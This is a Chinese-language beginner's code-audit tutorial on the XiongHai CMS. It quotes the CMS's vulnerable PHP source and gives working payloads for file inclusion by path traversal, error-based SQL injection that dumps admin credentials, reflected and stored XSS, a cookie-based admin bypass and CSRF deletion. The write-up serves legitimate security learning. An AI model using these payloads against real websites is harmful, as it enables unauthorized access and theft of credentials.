適合新手代碼審計(jì)之熊海cms

image.png

一、前言

簡(jiǎn)單了解了一下,審計(jì)入門,熊海比較適合,因?yàn)槭呛?jiǎn)單的cms,適合入門。

二、審計(jì)環(huán)境

使用小皮面板,新建網(wǎng)站

image
image

三、審計(jì)過(guò)程

先了解文件目錄

image
admin         --管理后臺(tái)文件夾
css           --存放css的文件夾
files         --存放頁(yè)面的文件夾
images        --存放圖片的文件夾
inc           --存放網(wǎng)站配置文件的文件夾
install       --網(wǎng)站進(jìn)行安裝的文件夾
seacmseditor  --編輯器文件夾
template      --模板文件夾
upload        --上傳功能文件夾
index.php     --網(wǎng)站首頁(yè)

先把網(wǎng)站源碼放到seay里面,自動(dòng)審計(jì)一下。

image

可以看到,可疑漏洞挺多的,然后對(duì)比著代碼進(jìn)行一一核實(shí)

文件包含漏洞

**index.php**

<?php
//單一入口模式
error_reporting(0); //關(guān)閉錯(cuò)誤顯示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判斷為空或者等于index
include('files/'.$action.'.php'); //載入相應(yīng)文件
?>

GET傳值r,用函數(shù)addslashes轉(zhuǎn)義我們傳入的值,防止命令執(zhí)行,但是這顯然是不夠的,這里對(duì)文件包含漏洞是沒(méi)有用任何限制的。
這里可以直接包含到files文件夾下的文件,但是也可以通過(guò)目錄穿越,包含到根目錄。
我們?cè)?code>files文件夾下新建一個(gè)phpinfo.php

<?php phpinfo();?>
payload:
?r=phpinfo //包含files文件夾下的phpinfo()
?r=../phpinfo  //包含根目錄的phpinfo()
image

第二處 /admin/index.php也是同理 同樣的代碼,同樣的包含。

【所有資源,點(diǎn)擊查看】
1、網(wǎng)絡(luò)安全學(xué)習(xí)路線
2、電子書籍(白帽子)
3、安全大廠內(nèi)部視頻
4、100份src文檔
5、常見(jiàn)安全面試題
6、ctf大賽經(jīng)典題目解析
7、全套工具包
8、應(yīng)急響應(yīng)筆記

SQL注入漏洞

SQL注入一般存在于登錄框這里,我們直接看后臺(tái)登陸框的源碼**admin/files/login.php**
后臺(tái)注入

<?php 
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];

if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL語(yǔ)句有誤:'.mysql_error());
$users = mysql_fetch_array($result);

if (!mysql_num_rows($result)) {  
echo "<Script language=JavaScript>alert('抱歉,用戶名或者密碼錯(cuò)誤。');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉,用戶名或者密碼錯(cuò)誤。');history.back();</Script>";
exit;   
    }
?>

大致看了看代碼:
user和password接受我們POST傳值,沒(méi)有任何過(guò)濾,直接插入到查詢語(yǔ)句中。先在數(shù)據(jù)庫(kù)中查詢user是否存在,如果不存在就報(bào)錯(cuò),而且mysql_error()是開(kāi)著的,可以報(bào)錯(cuò)注入,如果user存在的話就對(duì)我們的傳入的password進(jìn)行md5散列和數(shù)據(jù)庫(kù)中的password進(jìn)行比較,如果相等,則登陸成功。
經(jīng)過(guò)一番分析,存在報(bào)錯(cuò)注入,萬(wàn)能密碼無(wú)法登錄,因?yàn)閷?duì)password進(jìn)行md5散列,與數(shù)據(jù)庫(kù)中進(jìn)行對(duì)比。
漏洞復(fù)現(xiàn):
正常的報(bào)錯(cuò)注入
1' or updatexml(1,concat((select concat(0x7e,password) from manage)),0) #
1' or updatexml(1,concat((select concat(password,0x7e) from manage)),0) #

image

確實(shí)存在
將兩段得到的MD5的值拼起來(lái)進(jìn)行MD5
爆破即可得出password明文,之后查詢user
1' or updatexml(1,concat((select concat(0x7e,user) from manage)),0) #

image

即可進(jìn)行登錄。
然后我們查看別處
**/admin/files/softlist**

$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM download WHERE id='$delete'";
$result = mysql_query($query) or die('SQL語(yǔ)句有誤:'.mysql_error());
echo "<script>alert('親,ID為".$delete."的內(nèi)容已經(jīng)成功刪除!');location.href='?r=softlist'</script>";
exit; 
}

依舊是開(kāi)了mysql_error()且無(wú)過(guò)濾,注入同上
**/admin/files/editlink.php**

$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";
$resul = mysql_query($query) or die('SQL語(yǔ)句有誤:'.mysql_error());
$link = mysql_fetch_array($resul);

類型同上,不再贅述。
發(fā)現(xiàn),好像這個(gè)cms涉及sql的均未過(guò)濾且可進(jìn)行報(bào)錯(cuò)注入。這可能就是這個(gè)cms適合審計(jì)小白的原因了吧
以為這個(gè)cms的SQL注入到此結(jié)束了,后來(lái)看了大佬的資料,發(fā)現(xiàn)還有兩處特別之處,值得一提(對(duì)于審計(jì)小白)。

**/files/software.php**
前臺(tái)注入

$id=addslashes($_GET['cid']);
$query = "SELECT * FROM download WHERE id='$id'";
$resul = mysql_query($query) or die('SQL語(yǔ)句有誤:'.mysql_error());
$download = mysql_fetch_array($resul);

這里面引用了函數(shù)addslashes進(jìn)行過(guò)濾
關(guān)于addslashes

函數(shù)addslashes()作用是返回在預(yù)定義字符之前添加反斜杠的字符串。預(yù)定義字符是單引號(hào)(')雙引號(hào)(")反斜杠(\)NULL。

在官網(wǎng)中有這樣的注釋

默認(rèn)情況下,PHP 指令 magic_quotes_gpc 為 on,對(duì)所有的 GET、POST 和 COOKIE 數(shù)據(jù)自動(dòng)運(yùn)行 addslashes()。不要對(duì)已經(jīng)被 magic_quotes_gpc 轉(zhuǎn)義過(guò)的字符串使用 addslashes(),因?yàn)檫@樣會(huì)導(dǎo)致雙層轉(zhuǎn)義。遇到這種情況時(shí)可以使用函數(shù) get_magic_quotes_gpc() 進(jìn)行檢測(cè)。

因?yàn)檫@里被GET傳值就已經(jīng)默認(rèn)運(yùn)行addslashes(),所以再次使用addslashes()就不起作用了,所以依舊還是可以進(jìn)行報(bào)錯(cuò)注入。
payload:
?r=content&cid=1%20or(updatexml(1,concat(0x7e,(select%20version()),0x7e),1))

image

** /install/index.php **
安裝流程存在SQL注入 ,代碼如下

$query = "UPDATE manage SET user='$user',password='$password',name='$user'";
@mysql_query($query) or die('修改錯(cuò)誤:'.mysql_error());
echo "管理信息已經(jīng)成功寫入!

";

沒(méi)有過(guò)濾,mysql_error()開(kāi)著,依舊可以考慮報(bào)錯(cuò)注入。
參閱大佬的文章
首先要對(duì)InstallLock.txt文件鎖進(jìn)行刪除
重新安裝的時(shí)候在user處報(bào)錯(cuò)注入
payload;
1' extractvalue(1,concat(0x7e,(select @@version),0x7e))#

image
image

這個(gè)cms的SQL注入就到此結(jié)束了

XSS漏洞

反射型XSS

**/files/contact.php**

$page=addslashes($_GET['page']); //59行
<?php echo $page?> //139行

payload:
<img src=1 onerror=alert(/xss/)>

image

當(dāng)然還有許多的反射型XSS,這里就不一一列舉了,根上面這個(gè),基本大差不差。

存儲(chǔ)型XSS

**/admin/files/manageinfo.php**

$save=$_POST['save'];

$user=$_POST['user'];
$name=$_POST['name'];
$password=$_POST['password'];
$password2=$_POST['password2'];
$img=$_POST['img'];
$mail=$_POST['mail'];
$qq=$_POST['qq'];

if ($save==1){


if ($user==""){
echo "<script>alert('抱歉,帳號(hào)不能為空。');history.back()</script>";
exit;
    }

if ($name==""){
echo "<script>alert('抱歉,名稱不能為空。');history.back()</script>";
exit;
    }
if ($password<>$password2){
echo "<script>alert('抱歉,兩次密碼輸入不一致!');history.back()</script>";
exit;
    }

//處理圖片上傳
if(!empty($_FILES['images']['tmp_name'])){
$query = "SELECT * FROM imageset";
$result = mysql_query($query) or die('SQL語(yǔ)句有誤:'.mysql_error());
$imageset = mysql_fetch_array($result);
include '../inc/up.class.php';
if (empty($HTTP_POST_FILES['images']['tmp_name']))//判斷接收數(shù)據(jù)是否為空
{
        $tmp = new FileUpload_Single;
        $upload="../upload/touxiang";//圖片上傳的目錄,這里是當(dāng)前目錄下的upload目錄,可自已修改
        $tmp -> accessPath =$upload;
        if ( $tmp -> TODO() )
        {
            $filename=$tmp -> newFileName;//生成的文件名
            $filename=$upload.'/'.$filename;
            $imgsms="及圖片";

        }       
}
}

if ($filename<>""){
$images="img='$filename',"; 
}

if ($password<>""){
$password=md5($password);
$password="password='$password',";
}

$query = "UPDATE manage SET 
user='$user',
name='$name',
$password
$images
mail='$mail',
qq='$qq',
date=now()";
@mysql_query($query) or die('修改錯(cuò)誤:'.mysql_error());
echo "<script>alert('親愛(ài)的,資料".$imgsms."設(shè)置已成功更新!');location.href='?r=manageinfo'</script>"; 
exit;
}
?>

POST傳參,但是無(wú)任何過(guò)濾,直接根數(shù)據(jù)庫(kù)進(jìn)行交互,存在存儲(chǔ)型XSS
payload:
<img src=1 onerror=alert(/xss/)>

image

垂直越權(quán)

**inc/checklogin.php**

<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;   
}
?>

如果COOKIE中user為空,跳轉(zhuǎn)到登陸窗。這種就是最簡(jiǎn)單的垂直越權(quán)。
我們?cè)L問(wèn)http://www.xionghai.com/admin/index.php抓包查看,這種情況,COOKIE中無(wú)user參數(shù)

image
image

當(dāng)我們修改COOKIE值后

image

越權(quán)就成功了,我們就可以訪問(wèn)管理頁(yè)面了。

CSRF漏洞

舉例
/admin/files/wzlist.php

$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM content WHERE id='$delete'";
$result = mysql_query($query) or die('SQL語(yǔ)句有誤:'.mysql_error());
echo "<script>alert('親,ID為".$delete."的內(nèi)容已經(jīng)成功刪除!');location.href='?r=wzlist'</script>";
exit;

可以看見(jiàn)是沒(méi)有任何驗(yàn)證的
然后我們進(jìn)行一下delete操作

image

然后抓包看一下

image

其payload
www.xionghai.com/admin/?r=wzlist&delete=18
然后我們換個(gè)瀏覽器,來(lái)訪問(wèn)這個(gè)payload,并且抓包,在Cookie處,添加user的值為admin

image

可以發(fā)現(xiàn)CSRF攻擊成功

image

**admin/files/softlist.php**
依舊存在CSRF,做法同上。

四、總結(jié)

到此,這個(gè)cms的審計(jì)就差不多結(jié)束了。總的來(lái)看,因?yàn)檫@個(gè)cms是個(gè)人開(kāi)發(fā)的,并且很長(zhǎng)時(shí)間沒(méi)有更新過(guò),審計(jì)過(guò)程中,基本上所有的漏洞都沒(méi)有過(guò)濾。這也許就是它適合我這種小白的原因吧。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容